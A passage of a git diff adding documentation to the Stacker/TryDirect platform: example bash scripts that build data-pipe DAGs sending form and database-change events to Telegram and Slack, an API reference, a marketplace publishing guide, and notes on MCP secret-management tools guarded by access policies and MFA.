+TEMPLATE=$(curl -sf -X POST "$BASE/pipes/templates" \
+  -H "$AUTH" -H "$CT" \
+  -d '{"name":"Contact Form → Telegram + Slack"}' \
+  | jq -r '.item.id')
+echo "Template: $TEMPLATE"
+DAG="$BASE/pipes/$TEMPLATE/dag"
+
+# --- Add steps ---
+SOURCE=$(add_step '{
+  "name": "contact_form",
+  "step_type": "source",
+  "step_order": 1,
+  "config": {"url": "http://website:3000/api/contact", "method": "POST"}
+}')
+
+SPLIT=$(add_step '{
+  "name": "fan_out",
+  "step_type": "parallel_split",
+  "step_order": 2,
+  "config": {}
+}')
+
+TELEGRAM=$(add_step '{
+  "name": "telegram_notify",
+  "step_type": "target",
+  "step_order": 3,
+  "config": {
+    "url": "https://api.telegram.org/bot<BOT_TOKEN>/sendMessage",
+    "method": "POST",
+    "headers": {"Content-Type": "application/json"},
+    "body_template": {
+      "chat_id": "<CHAT_ID>",
+      "text": "📬 New contact from {{name}} ({{email}}): {{message}}"
+    }
+  }
+}')
+
+SLACK=$(add_step '{
+  "name": "slack_notify",
+  "step_type": "target",
+  "step_order": 3,
+  "config": {
+    "url": "https://hooks.slack.com/services/T.../B.../xxx",
+    "method": "POST",
+    "headers": {"Content-Type": "application/json"},
+    "body_template": {
+      "text": "📬 *New contact*\n• {{name}} ({{email}})\n• {{message}}"
+    }
+  }
+}')
+
+JOIN=$(add_step '{"name":"merge","step_type":"parallel_join","step_order":4,"config":{}}')
+
+# --- Connect edges ---
+add_edge "{\"from_step_id\":\"$SOURCE\",\"to_step_id\":\"$SPLIT\"}"
+add_edge "{\"from_step_id\":\"$SPLIT\",\"to_step_id\":\"$TELEGRAM\"}"
+add_edge "{\"from_step_id\":\"$SPLIT\",\"to_step_id\":\"$SLACK\"}"
+add_edge "{\"from_step_id\":\"$TELEGRAM\",\"to_step_id\":\"$JOIN\"}"
+add_edge "{\"from_step_id\":\"$SLACK\",\"to_step_id\":\"$JOIN\"}"
+
+# --- Validate ---
+echo "Validating..."
+curl -sf -X POST "$DAG/validate" -H "$AUTH" -H "$CT" | jq .
+
+# --- Create instance & execute ---
+INSTANCE=$(curl -sf -X POST "$BASE/pipes/instances" \
+  -H "$AUTH" -H "$CT" \
+  -d "{\"pipe_template_id\":\"$TEMPLATE\",\"deployment_hash\":\"my-deploy\",\"name\":\"Contact notifications\"}" \
+  | jq -r '.item.id')
+
+echo "Executing with test data..."
+curl -sf -X POST "$BASE/pipes/instances/$INSTANCE/dag/execute" \
+  -H "$AUTH" -H "$CT" \
+  -d '{
+    "input_data": {
+      "name": "Alice",
+      "email": "alice@example.com",
+      "message": "Hello, I need help!"
+    }
+  }' | jq '.status, .completed_steps, .failed_steps'
+
+echo "✅ Done! Instance: $INSTANCE"
+```
+
+---
+
+## Example: CDC → Telegram (scripted)
+
+```bash
+#!/bin/bash
+# example2-cdc-contact-to-telegram.sh
+set -euo pipefail
+
+BASE="http://localhost:8080/api/v1"
+AUTH="Authorization: Bearer $(stacker token)"
+CT="Content-Type: application/json"
+
+add_step() { curl -sf -X POST "$DAG/steps" -H "$AUTH" -H "$CT" -d "$1" | jq -r '.item.id'; }
+add_edge() { curl -sf -X POST "$DAG/edges" -H "$AUTH" -H "$CT" -d "$1" > /dev/null; }
+
+TEMPLATE=$(curl -sf -X POST "$BASE/pipes/templates" \
+  -H "$AUTH" -H "$CT" \
+  -d '{"name":"CDC Contact → Telegram"}' | jq -r '.item.id')
+DAG="$BASE/pipes/$TEMPLATE/dag"
+
+CDC=$(add_step '{
+  "name": "pg_contacts",
+  "step_type": "cdc_source",
+  "step_order": 1,
+  "config": {
+    "replication_slot": "contacts_pipe_slot",
+    "publication": "contact_pub",
+    "tables": ["public.contacts"]
+  }
+}')
+
+TRANSFORM=$(add_step '{
+  "name": "format_message",
+  "step_type": "transform",
+  "step_order": 2,
+  "config": {
+    "field_mapping": {
+      "chat_id": "<YOUR_CHAT_ID>",
+      "text": "📬 New contact!\nName: $.after.name\nEmail: $.after.email\nMessage: $.after.message"
+    }
+  }
+}')
+
+TELEGRAM=$(add_step '{
+  "name": "telegram",
+  "step_type": "target",
+  "step_order": 3,
+  "config": {
+    "url": "https://api.telegram.org/bot<BOT_TOKEN>/sendMessage",
+    "method": "POST"
+  }
+}')
+
+add_edge "{\"from_step_id\":\"$CDC\",\"to_step_id\":\"$TRANSFORM\"}"
+add_edge "{\"from_step_id\":\"$TRANSFORM\",\"to_step_id\":\"$TELEGRAM\"}"
+
+curl -sf -X POST "$DAG/validate" -H "$AUTH" -H "$CT" | jq .
+echo "✅ Template: $TEMPLATE"
+```
+
+Test with simulated CDC event:
+```bash
+curl -sf -X POST "$BASE/pipes/instances/$INSTANCE/dag/execute" \
+  -H "$AUTH" -H "$CT" \
+  -d '{
+    "input_data": {
+      "table_name": "contacts",
+      "operation": "INSERT",
+      "after": {"id": 42, "name": "Bob", "email": "bob@example.com", "message": "Hi there"},
+      "captured_at": "2026-04-16T13:00:00Z"
+    }
+  }' | jq .
+```
+
+---
+
+## REST API Reference
+
+### Templates
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `POST` | `/api/v1/pipes/templates` | Create template |
+| `GET` | `/api/v1/pipes/templates` | List templates |
+| `GET` | `/api/v1/pipes/templates/{id}` | Get template |
+| `DELETE` | `/api/v1/pipes/templates/{id}` | Delete template |
+
+### DAG Steps
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `POST` | `/api/v1/pipes/{template_id}/dag/steps` | Add step |
+| `GET` | `/api/v1/pipes/{template_id}/dag/steps` | List steps |
+| `GET` | `/api/v1/pipes/{template_id}/dag/steps/{step_id}` | Get step |
+| `PUT` | `/api/v1/pipes/{template_id}/dag/steps/{step_id}` | Update step |
+| `DELETE` | `/api/v1/pipes/{template_id}/dag/steps/{step_id}` | Delete step |
+
+### DAG Edges
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `POST` | `/api/v1/pipes/{template_id}/dag/edges` | Add edge |
+| `GET` | `/api/v1/pipes/{template_id}/dag/edges` | List edges |
+| `DELETE` | `/api/v1/pipes/{template_id}/dag/edges/{edge_id}` | Delete edge |
+
+### DAG Validation & Execution
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `POST` | `/api/v1/pipes/{template_id}/dag/validate` | Validate DAG |
+| `POST` | `/api/v1/pipes/instances/{instance_id}/dag/execute` | Execute DAG |
+| `GET` | `/api/v1/pipes/{template_id}/dag/executions/{exec_id}/steps` | Step execution details |
+
+### Instances
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `POST` | `/api/v1/pipes/instances` | Create instance |
+| `GET` | `/api/v1/pipes/instances/{deployment_hash}` | List by deployment |
+| `GET` | `/api/v1/pipes/instances/local` | List local instances |
+| `GET` | `/api/v1/pipes/instances/detail/{id}` | Get instance |
+| `PUT` | `/api/v1/pipes/instances/{id}/status` | Update status |
+| `POST` | `/api/v1/pipes/instances/{id}/deploy` | Promote local → remote |
+| `DELETE` | `/api/v1/pipes/instances/{id}` | Delete instance |
+
+### Executions
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `GET` | `/api/v1/pipes/instances/{id}/executions` | List executions |
+| `GET` | `/api/v1/pipes/executions/{id}` | Get execution |
+| `POST` | `/api/v1/pipes/executions/{id}/replay` | Replay execution |
+
+### Streaming
+
+| Protocol | Path | Description |
+|----------|------|-------------|
+| WebSocket | `/api/v1/pipes/instances/{id}/stream` | Live execution events |
+
+### Resilience (Circuit Breaker + Dead Letter Queue)
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `GET` | `/api/v1/pipes/*/dlq` | List dead-letter items |
+| `POST` | `/api/v1/pipes/*/dlq/{id}/retry` | Retry failed item |
+| `POST` | `/api/v1/pipes/*/dlq/{id}/discard` | Discard failed item |
+| `GET` | `/api/v1/pipes/*/circuit-breaker` | Get circuit breaker state |
+| `PUT` | `/api/v1/pipes/*/circuit-breaker` | Configure thresholds |
+| `POST` | `/api/v1/pipes/*/circuit-breaker/reset` | Reset circuit breaker |
+
+---
+
+## gRPC Streaming
+
+For high-throughput or real-time pipelines, use gRPC steps instead of REST.
+
+### Protocol (proto/pipe.proto)
+
+```protobuf
+service PipeService {
+  // Send data to a target (unary)
+  rpc Send(PipeMessage) returns (PipeResponse);
+
+  // Subscribe to a source (server-streaming)
+  rpc Subscribe(SubscribeRequest) returns (stream PipeMessage);
+}
+
+message PipeMessage {
+  string pipe_instance_id = 1;
+  string step_id = 2;
+  google.protobuf.Struct payload = 3;  // Arbitrary JSON
+  int64 timestamp_ms = 4;
+}
+
+message PipeResponse {
+  bool success = 1;
+  string message = 2;
+}
+
+message SubscribeRequest {
+  string pipe_instance_id = 1;
+  string step_id = 2;
+  map<string, string> filters = 3;
+}
+```
+
+### Using gRPC in a DAG
+
+```bash
+# gRPC source step — subscribes to server-streaming RPC
+add_step '{
+  "name": "live_feed",
+  "step_type": "grpc_source",
+  "config": {
+    "endpoint": "http://grpc-service:50051",
+    "pipe_instance_id": "...",
+    "step_id": "..."
+  }
+}'
+
+# gRPC target step — sends via unary RPC
+add_step '{
+  "name": "push_to_grpc",
+  "step_type": "grpc_target",
+  "config": {
+    "endpoint": "http://grpc-service:50051",
+    "pipe_instance_id": "...",
+    "step_id": "..."
+  }
+}'
+```
+
+---
+
+## API Response Formats
+
+### Single item (POST, GET by ID)
+```json
+{"item": {"id": "uuid", "name": "...", ...}}
+```
+
+### List (GET collection)
+```json
+{"list": [{"id": "uuid", ...}, {"id": "uuid", ...}]}
+```
+
+### DELETE
+Returns `204 No Content` (empty body).
+
+### Validation
+```json
+{"valid": true, "total_steps": 5, "execution_levels": 3, "sources": ["source"], "targets": ["target"]}
+```
+
+### Execution result
+```json
+{
+  "execution_id": "uuid",
+  "status": "completed",
+  "total_steps": 5,
+  "completed_steps": 5,
+  "failed_steps": 0,
+  "skipped_steps": 0,
+  "execution_order": ["step1", "step2", "..."],
+  "step_results": [{"step_id": "...", "status": "completed", "output_data": {...}}, ...]
+}
+```
+
+---
+
+## Troubleshooting
+
+### "No source step found"
+DAG needs at least one source. Valid types: `source`, `cdc_source`, `amqp_source`, `kafka_source`, `ws_source`, `http_stream_source`, `grpc_source`.
+
+### "No target step found"
+Add a `target`, `ws_target`, or `grpc_target` step.
+
+### "Cycle detected"
+Edges form a loop. Remove the circular edge.
+
+### 401 Unauthorized
+Run `stacker login` or check your `Authorization: Bearer <token>` header.
+
+### Step execution failed
+```bash
+curl -s "$BASE/pipes/$TEMPLATE/dag/executions/$EXEC_ID/steps" \
+  -H "$AUTH" | jq '.[] | select(.status == "failed") | {name: .name, error: .error}'
+```
+
+### CDC not receiving events
+1. PostgreSQL: `wal_level = logical` in postgresql.conf
+2. Replication slot exists: `SELECT * FROM pg_replication_slots;`
+3. Publication exists: `SELECT * FROM pg_publication_tables;`
+
+### AMQP not consuming
+1. RabbitMQ accessible? Check Management UI (port 15672)
+2. Queue exists? Exchange and routing key match publisher?
+
+### Kafka not subscribing
+1. Brokers reachable? `kafkacat -b localhost:9092 -L`
+2. Topic exists? `kafka-topics.sh --list --bootstrap-server localhost:9092`
+3. `group_id` conflicts with another consumer?
diff --git a/docs/MARKETPLACE_PUBLISH.md b/docs/MARKETPLACE_PUBLISH.md
new file mode 100644
index 00000000..5fcc6fd3
--- /dev/null
+++ b/docs/MARKETPLACE_PUBLISH.md
@@ -0,0 +1,288 @@
+# Publishing a Stack to the TryDirect Marketplace
+
+This guide walks creators through publishing a stack to the TryDirect marketplace
+so other users can deploy it in one click and you earn on every sale.
+
+---
+
+## Table of Contents
+
+- [Who this is for](#who-this-is-for)
+- [What you get](#what-you-get)
+- [Two ways to publish](#two-ways-to-publish)
+- [Path A: Publish from Stack Builder (UI)](#path-a-publish-from-stack-builder-ui)
+- [Path B: Publish from CLI (stacker.yml)](#path-b-publish-from-cli-stackeryml)
+- [Required metadata](#required-metadata)
+- [Pricing options](#pricing-options)
+- [The review process](#the-review-process)
+- [After approval](#after-approval)
+- [Updating a published template](#updating-a-published-template)
+- [Common rejection reasons](#common-rejection-reasons)
+- [FAQ](#faq)
+
+---
+
+## Who this is for
+
+You should publish to the marketplace if you have a working Docker Compose stack
+or `stacker.yml` that:
+
+- Solves a clear business problem (e.g. "Internal AI Helpdesk", "RAG Knowledge Base")
+- Wires multiple services together so buyers don't have to (database + cache + app + LLM, etc.)
+- Has been tested end-to-end on at least one cloud provider
+
+Single-container stacks are accepted but multi-service bundles consistently
+outperform them in deployments and revenue.
+
+---
+
+## What you get
+
+- **75% revenue share** on every paid deployment, including subscription renewals
+- **Monthly Net-30 payouts** via Stripe Connect or PayPal (minimum $50)
+- Automatic marketplace promotion: SEO landing page at `/applications/<slug>`,
+  inclusion in weekly digests, "Trending" badge if your template gains traction
+- A "Deploy with TryDirect" badge you can embed in your GitHub README
+- Public deploy count and creator profile
+
+Full payout terms: see `config/docs/MARKETPLACE_PAYOUT_TERMS.md`.
+
+---
+
+## Two ways to publish
+
+| Path | Best for | Effort |
+|---|---|---|
+| **Stack Builder (UI)** | Stacks you built visually inside TryDirect | Click "Publish to Marketplace" |
+| **stacker.yml (CLI)** | Stacks defined in your own repo | `stacker publish` |
+
+Both paths produce the same `StackTemplate` record and follow the same review
+process. Pick whichever fits how you author your stack.
+
+---
+
+## Path A: Publish from Stack Builder (UI)
+
+1. Open your stack in **Stack Builder** at `/builder`.
+2. Verify it deploys cleanly to a test server.
+3. Click **Publish to Marketplace** in the project sidebar.
+4. Fill in the publish form:
+   - **Name** — a business-oriented name, not just tech ("Client AI Agent Workspace", not "n8n+Qdrant+Ollama")
+   - **Short description** — one sentence: what problem does it solve?
+   - **Long description** — markdown supported; cover use cases, requirements, customisation
+   - **Category** — AI Agents, Data Pipelines, SaaS Starter, Dev Tools, etc.
+   - **Tags** — `n8n`, `qdrant`, `ollama`, `supabase`, `postgres`, etc.
+   - **License / pricing** — Free, Paid (one-time), or Subscription
+   - **Price** (if paid) — USD
+   - **Support URL** — GitHub repo, docs site, or contact form
+   - **No-secrets confirmation** — required checkbox: confirms you removed all
+     embedded credentials before submitting
+5. Click **Submit to marketplace**. Your dashboard will show status:
+   `In review` → `Approved` or `Rejected (with reason)`.
+
+---
+
+## Path B: Publish from CLI (stacker.yml)
+
+Add a `marketplace` section to your `stacker.yml`, then run `stacker publish`.
+
+### Example `stacker.yml` marketplace block
+
+```yaml
+name: ai-helpdesk-starter
+version: 1.0.0
+
+# ... your existing app, services, deploy, etc. ...
+
+marketplace:
+  publish: true
+  display_name: "Internal AI Helpdesk"
+  short_description: "Self-hosted AI helpdesk with n8n workflows, Qdrant memory, and Ollama LLM."
+  long_description: |
+    Deploy a complete internal AI helpdesk stack: n8n handles ticket routing
+    and workflow automation, Qdrant stores conversation memory and document
+    embeddings, and Ollama serves the local LLM.
+
+    Comes pre-wired with example workflows for common helpdesk patterns.
+    Customise via the n8n web UI after deployment.
+  category: ai-agents
+  tags:
+    - n8n
+    - qdrant
+    - ollama
+    - helpdesk
+    - rag
+  license: paid
+  pricing:
+    plan_type: one_time   # one_time | subscription | free
+    price: 49
+    currency: USD
+  support_url: https://github.com/your-org/ai-helpdesk-starter
+  no_secrets_confirmation: true
+```
+
+### Submit
+
+```bash
+# From your project root
+stacker publish
+
+# Stacker validates stacker.yml, packages the stack definition,
+# and submits it to the TryDirect marketplace for review.
+```
+
+### Check status
+
+```bash
+stacker publish --status
+
+# Shows: in_review | approved | rejected (with reason)
+```
+
+---
+
+## Required metadata
+
+| Field | Required | Notes |
+|---|---|---|
+| Name | Yes | 5-80 chars, business-oriented |
+| Short description | Yes | 20-200 chars, one sentence |
+| Long description | Yes | Markdown, 100-5000 chars |
+| Category | Yes | Must match an existing category code |
+| Tags | Yes | 1-10 tags |
+| License | Yes | `free`, `paid`, `subscription` |
+| Price | If paid/subscription | USD, > 0 |
+| Support URL | Yes | Public URL where buyers can reach you |
+| No-secrets confirmation | Yes | Must be `true` |
+
+---
+
+## Pricing options
+
+### Free
+No revenue, but full marketplace promotion (SEO page, digest inclusion, trending
+badges). Good for building reputation and audience.
+
+### One-time
+Buyer pays once, deploys as many times as they want for their own use.
+You earn 75% of the sale price. Most templates start here.
+
+### Subscription
+Buyer pays monthly or yearly. You earn 75% of every renewal cycle, not just
+the first sale. Best for templates that ship updates regularly.
+
+You can change pricing on future versions but not retroactively. Buyers of
+v1.0.0 keep their original pricing for that version's lifetime.
+
+---
+
+## The review process
+
+| Step | Time | Who |
+|---|---|---|
+| Submission received | Instant | Auto-confirmation email |
+| Initial automated checks | < 1 hour | `stacker.yml` validation, no embedded secrets, no banned services |
+| Manual review | 1-3 business days | TryDirect review team |
+| Decision | — | Approved → live on `/applications`; Rejected → feedback in dashboard |
+
+Reviewers check:
+1. **Deploys cleanly** on a fresh server
+2. **No embedded credentials** in env vars, configs, or volumes
+3. **No insecure defaults** (e.g. `--api.insecure=true`, `0.0.0.0/0` ACLs, hardcoded passwords)
+4. **Metadata accurate** — what the listing claims matches what the stack actually does
+5. **Support URL reachable** — opens to a real GitHub/docs/contact page
+
+---
+
+## After approval
+
+Once approved, several things happen automatically:
+
+- **SEO landing page** generated at `/applications/<your-slug>`
+- **Social post** to TryDirect Twitter/X: "New on TryDirect: <Template> by @<you>"
+- **"You're live!" email** with your sharing kit:
+  - Direct deployment link
+  - Referral link (tracks deployments and credits earnings)
+  - "Deploy with TryDirect" Markdown badge for your README
+  - Auto-generated OG social card
+- **Inclusion in weekly subscriber digest** for the relevant category
+
+Your dashboard at `/dashboard/marketplace/submissions?tab=earnings` shows real-time:
+- Deploy count
+- Gross sales
+- Your share (75%)
+- Pending payout
+- Paid history
+
+---
+
+## Updating a published template
+
+To publish a new version:
+
+**UI:** Open the stack in Stack Builder, make changes, click **Publish new version**.
+
+**CLI:**
+```bash
+# Bump the version in stacker.yml first
+stacker publish
+```
+
+Each version goes through review. While a new version is under review, the
+previous approved version remains live.
+
+Existing buyers automatically get access to all future versions — they don't
+re-purchase.
+
+---
+
+## Common rejection reasons
+
+| Reason | Fix |
+|---|---|
+| Embedded secrets | Replace hardcoded credentials with env vars; use `${VAR}` interpolation |
+| Insecure defaults | Disable insecure flags (e.g. `--api.insecure=true`); restrict bind addresses; require passwords |
+| Stack doesn't deploy | Test on a fresh server before resubmitting; check `stacker deploy --target local` works clean |
+| Vague metadata | Use a specific business-problem name; describe concrete use cases |
+| Broken support URL | Make sure the link resolves and points to a real support channel |
+| Banned service | Some services aren't allowed (e.g. unconsented crypto miners, malware tools); see `config/docs/MARKETPLACE_ACCEPTABLE_USE.md` |
+
+Rejections include specific feedback in your dashboard. You can revise and
+resubmit without limit.
+
+---
+
+## FAQ
+
+**Q: Can I publish a stack that uses paid third-party services (e.g. OpenAI API)?**  
+A: Yes. The buyer brings their own API keys via env vars during deployment.
+Document required keys in your long description.
+
+**Q: Can I publish a stack that depends on my own SaaS backend?**  
+A: Yes, but the buyer must be able to use it without you having access to their
+deployment. Document the SaaS integration clearly.
+
+**Q: What happens if I want to take a template offline?**  
+A: You can deprecate it any time. Existing buyers keep access; new buyers can
+no longer purchase. Earnings from existing subscriptions continue.
+
+**Q: Can I see who deployed my template?**  
+A: You see deploy count and aggregated stats, never individual buyer emails or
+deployment details (GDPR/privacy).
+
+**Q: How is the 25% platform fee broken down?**  
+A: Payment processing (~3%), marketplace hosting and promotion, review
+operations, ongoing platform development.
+
+**Q: Can I run a discount or promo code?**  
+A: Discount codes are on the roadmap for 2026 H2. Until then, you can change
+your template's base price.
+
+---
+
+## Reference
+
+- `stacker.yml` full reference: `docs/STACKER_YML_REFERENCE.md`
+- Vendor profile API: `docs/vendor-profile-endpoints-spec.md`
+- Payout terms: `config/docs/MARKETPLACE_PAYOUT_TERMS.md`
+- Acceptable use policy: `config/docs/MARKETPLACE_ACCEPTABLE_USE.md`
diff --git a/docs/MCP_SERVER_BACKEND_PLAN.md b/docs/MCP_SERVER_BACKEND_PLAN.md
index d78db97f..aaaded95 100644
--- a/docs/MCP_SERVER_BACKEND_PLAN.md
+++ b/docs/MCP_SERVER_BACKEND_PLAN.md
@@ -3,6 +3,15 @@
 ## Overview
 This document outlines the implementation plan for adding Model Context Protocol (MCP) server capabilities to the Stacker backend. The MCP server will expose Stacker's functionality as tools that AI assistants can use to help users build and deploy application stacks.
 
+> **Current status:** The original 17-tool MVP has been surpassed. As of
+> v0.2.8 the registry exposes 85+ tools, including remote service secret
+> management (`list_remote_secret_targets`, `list_remote_service_secrets`,
+> `get_remote_service_secret`, `set_remote_service_secret`,
+> `delete_remote_service_secret`) with metadata-only reads and Vault-backed
+> writes. All tool calls require explicit per-tool Casbin `CALL` policies under
+> `/mcp/tools/<tool_name>`; sensitive write/destructive tools additionally
+> require verified 2FA/MFA.
+
 ## Architecture
 
 ```
diff --git a/docs/MCP_SERVER_FRONTEND_INTEGRATION.md b/docs/MCP_SERVER_FRONTEND_INTEGRATION.md
index c23eda7d..2cbdcb59 100644
--- a/docs/MCP_SERVER_FRONTEND_INTEGRATION.md
+++ b/docs/MCP_SERVER_FRONTEND_INTEGRATION.md
@@ -30,12 +30,107 @@ This document provides comprehensive guidance for integrating the Stacker MCP (M
                      ▼
 ┌──────────────────────────────────────────────────────────────┐
 │  Stacker Backend (MCP Server)                               │
-│  - Tool Registry (17+ tools)                                │
+│  - Tool Registry (85+ tools)                                │
 │  - Session Management                                       │
 │  - OAuth Authentication                                     │
 └──────────────────────────────────────────────────────────────┘
 ```
 
+## Current v0.2.8 Tool Coverage
+
+The MCP server now exposes project/deployment, cloud credential discovery,
+container operations, Status Panel agent control, proxy configuration, guest OS
+firewall tools, Vault config tools, and remote service secret tools. The remote
+secret tools mirror the CLI/API target model:
+
+- `list_remote_secret_targets` — list deployable service/app target codes for a
+  project.
+- `list_remote_service_secrets` — list metadata for Vault-backed service-scope
+  secrets on one target.
+- `get_remote_service_secret` — read metadata for one service secret.
+- `set_remote_service_secret` — write one service secret value to Vault.
+- `delete_remote_service_secret` — delete one service secret.
+
+Remote secret reads are metadata-only; plaintext values are written to Vault but
+never returned to MCP clients.
+
+`get_remote_service_secret` and `list_remote_service_secrets` now include
+`secure: true` in their metadata payloads because Vault-backed service secrets
+are explicitly classified as secure inputs, not merely inferred by name.
+
+Every MCP tool call is checked against Casbin before its handler executes. Clients
+must have a `CALL` policy for `/mcp/tools/<tool_name>`. Marketplace admin tools
+are granted only to `group_admin`; regular project, deployment, cloud,
+container, proxy, firewall, Vault, and remote-secret tools use the normal user
+group policies plus their existing project/ownership checks.
+
+`set_remote_service_secret` and `delete_remote_service_secret` are sensitive
+write operations. They also require:
+
+- Casbin permission for `/mcp/tools/set_remote_service_secret` or
+  `/mcp/tools/delete_remote_service_secret` with action `CALL`.
+- A verified 2FA/MFA marker from the authenticated user profile or access token
+  (`mfa_verified`, `two_factor_verified`, `amr` containing `totp`, `otp`,
+  `webauthn`, etc.).
+
+## Canonical deployment AI workflow
+
+For deployment troubleshooting and safe automation, frontend clients should
+prefer the newer structured deployment tools over older summary payloads:
+
+- `get_deployment_state` for canonical deployment state.
+- `explain_topology` and `explain_env` for path and env provenance reasoning.
+- `get_deployment_plan` for preview plus stale-plan fingerprint generation.
+- `apply_deployment_plan` for confirmed deploy-app and rollback execution.
+- `get_deployment_events` for progress, failure, and remediation signals.
+
+### Compatibility and safety rules
+
+1. Do not depend on `get_deployment_status` returning the raw internal
+   deployment row. Use `get_deployment_state`, `get_deployment_plan`, and
+   `get_deployment_events` when the client needs stable machine-readable fields.
+2. Add `apply_deployment_plan` to the frontend confirmation-required tool list.
+   The tool requires:
+   - `confirm=true`
+   - `expected_fingerprint` from the immediately preceding preview
+   - a step-up/MFA-capable user session
+3. MCP tool failures are returned as successful JSON-RPC envelopes with
+   `result.isError=true` and a typed error JSON string in
+   `result.content[0].text`. Frontends should parse and surface that typed error
+   envelope instead of collapsing it into generic text.
+4. Server-side MCP intentionally supports `deploy_app` and `rollback_deploy`
+   applies only. Full `deploy` apply still requires local CLI workspace context
+   and is rejected with a typed `invalid_request` error.
+
+See [AI deployment workflows](AI_DEPLOYMENT_WORKFLOWS.md) for the documented
+tool sequence and evaluation fixture reference.
+
+## Environment inspection contract
+
+`get_app_env_vars` now returns two complementary shapes:
+
+- `environment_variables` — the legacy redacted key/value object for existing
+  clients.
+- `environment_entries` — the canonical per-variable list for newer clients.
+
+Each `environment_entries` item contains:
+
+- `name`
+- `value`
+- `secure`
+- `redacted`
+- `source` (`project` or `vault`)
+
+Frontend clients should prefer `environment_entries` when they need to
+distinguish between:
+
+- a value redacted because it is explicitly Vault-backed (`secure=true`)
+- a value redacted by legacy heuristic name matching
+- a regular project-defined env value
+
+This allows names such as `MYSECURE_PASSPHRASE` to remain safely redacted even
+when the key name itself would not match an older secret heuristic.
+
 ## Technology Stack
 
 ### Core Dependencies
diff --git a/docs/PIPING.md b/docs/PIPING.md
index e579c539..3a735b61 100644
--- a/docs/PIPING.md
+++ b/docs/PIPING.md
@@ -12,32 +12,52 @@ Data piping connects containerized apps in a deployment, routing data from one s
 |  pipe create     |       |  validate params  |       |  curl endpoints  |
 |  pipe trigger    |       |  store results    |       |  capture samples |
 |  pipe history    |       |  persist history  |       |  execute pipes   |
+|  pipe deploy     |       |  promote local→   |       |                  |
 +------------------+       +------------------+       +------------------+
+        |
+        | (local mode — no agent needed)
+        v
++------------------+
+|  Local Docker    |
+|  docker ps       |
+|  docker exec     |
++------------------+
 ```
 
 **Three components work together:**
 
 1. **CLI** (`stacker pipe`) - user-facing commands
 2. **Server** (`/api/v1/pipes`) - REST API, validation, persistence
-3. **Agent** (status-panel) - runs on the deployment, probes containers, executes pipe triggers
+3. **Agent** (status-panel) - runs on the deployment, probes app/container endpoints, executes pipe triggers
+
+> **Local mode**: When `stacker target local` is active, scan starts with Docker discovery (`docker ps` + `docker inspect`) and then probes matched containers for endpoints/resources locally — no remote agent required. Pipes are stored with `is_local=true` and no `deployment_hash`.
+
+> **Scan semantics**: local scan is **container-first**; remote scan is **app-first** with optional `--container` narrowing.
 
 ## Quick Start
 
 ### 1. Scan for connectable endpoints
 
 ```bash
-# Discover what APIs wordpress exposes
-stacker pipe scan wordpress
+# Local target: discover endpoints/resources from running containers
+stacker pipe scan
+
+# Filter local containers by name, then probe them
+stacker pipe scan --containers wordpress
 
-# With sample response capture (shows actual data)
-stacker pipe scan wordpress --capture-samples
+# Remote target: probe a deployed app for endpoints
+stacker pipe scan --app wordpress --capture-samples
 
 # Scan specific protocols
-stacker pipe scan wordpress --protocols openapi,html_forms,rest
+stacker pipe scan --app wordpress --protocols openapi,html_forms,rest
 ```
 
 Output:
 ```
+  Containers matched: 1
+    local-wordpress-1 [blog] wordpress:latest
+      addresses: 172.18.0.8:80
+
   App: wordpress
   Protocols detected: openapi
 
@@ -138,7 +158,9 @@ stacker pipe deactivate <pipe-id>
 ### Templates vs Instances
 
 - **Template** - reusable pipe definition: source app type, target app type, endpoint paths, field mapping. Can be shared publicly.
-- **Instance** - deployment-specific activation of a template: ties to a `deployment_hash`, tracks status, trigger counts, errors.
+- **Instance** - activation of a template tied to a deployment or local context:
+  - **Remote instance** — bound to a `deployment_hash`, executed via the status agent on the cloud server.
+  - **Local instance** — no `deployment_hash`, `is_local=true`, executed via `docker exec` against local containers. Created when `stacker target local` is active.
 
 ### Field Mapping
 
@@ -192,8 +214,8 @@ When `--capture-samples` is enabled during scanning, the agent:
 
 ```bash
 # 1. Scan both services
-stacker pipe scan wordpress --capture-samples
-stacker pipe scan mailchimp --capture-samples
+stacker pipe scan --app wordpress --capture-samples
+stacker pipe scan --app mailchimp --capture-samples
 
 # 2. Create the pipe
 stacker pipe create wordpress mailchimp
@@ -257,10 +279,12 @@ All endpoints require authentication. Pipe instance access is verified through d
 
 | Method | Path | Description |
 |--------|------|-------------|
-| POST | `/api/v1/pipes/instances` | Create instance |
+| POST | `/api/v1/pipes/instances` | Create instance (`deployment_hash` optional for local) |
 | GET | `/api/v1/pipes/instances/{deployment_hash}` | List instances for deployment |
+| GET | `/api/v1/pipes/instances/local` | List local instances for current user |
 | GET | `/api/v1/pipes/instances/detail/{id}` | Get instance |
 | PUT | `/api/v1/pipes/instances/{id}/status` | Update status (draft/active/paused/error) |
+| POST | `/api/v1/pipes/instances/{id}/deploy` | Promote local instance to remote deployment |
 | DELETE | `/api/v1/pipes/instances/{id}` | Delete instance |
 
 ### Executions
@@ -275,7 +299,7 @@ All endpoints require authentication. Pipe instance access is verified through d
 
 | Command | Direction | Description |
 |---------|-----------|-------------|
-| `probe_endpoints` | Server -> Agent | Discover API endpoints on a container |
+| `probe_endpoints` | Server -> Agent | Discover API endpoints for an app, optionally narrowed to a container |
 | `activate_pipe` | Server -> Agent | Start webhook listener or poll scheduler |
 | `deactivate_pipe` | Server -> Agent | Stop listener/scheduler |
 | `trigger_pipe` | Server -> Agent | One-shot pipe execution |
@@ -307,3 +331,68 @@ Agent reports result: {success, source_data, mapped_data, target_response}
 Server persists result in pipe_executions table
 Server increments trigger_count (and error_count if failed)
 ```
+
+## AI-Assisted Matching
+
+Stacker supports two field matching modes when creating pipes:
+
+### Deterministic Mode (default)
+The original 4-layer matching algorithm:
+1. **Exact match** — identical field names
+2. **Case-insensitive** — `Email` matches `email`
+3. **Semantic aliases** — `mail` matches `email` (from built-in alias groups)
+4. **Type-aware suffix** — `user_email` matches `email` (strips common prefixes)
+
+Always available, works offline, returns confidence=1.0 for all matches.
+
+### AI Mode
+Uses the configured LLM provider (OpenAI, Anthropic, or Ollama) for semantic matching:
+- Understands field semantics beyond string patterns (e.g., `wp_author_contact` → `subscriber_email`)
+- Returns per-field confidence scores (0.0–1.0)
+- Suggests field transformations (e.g., `concat($.first_name, ' ', $.last_name)` → `full_name`)
